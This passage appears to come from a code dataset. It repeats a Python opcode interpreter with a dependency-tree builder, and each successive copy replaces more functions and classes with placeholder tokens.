[self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass Opcode99(Opcode):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n <function token>\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n <function token>\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n <function token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n <function token>\n\n def inspect(self, loc):\n return self.__memory[loc]\n <function token>\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n <function token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n <function token>\n\n def inspect(self, loc):\n return self.__memory[loc]\n <function token>\n <function token>\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n <function token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n <function token>\n <function token>\n\n def inspect(self, loc):\n return self.__memory[loc]\n <function token>\n <function token>\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n <function token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n <function token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n <function token>\n\n def rebind(self, code, call):\n self.__ops[code] = call\n <function token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def rebind(self, code, call):\n self.__ops[code] = call\n <function token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n\n\nclass 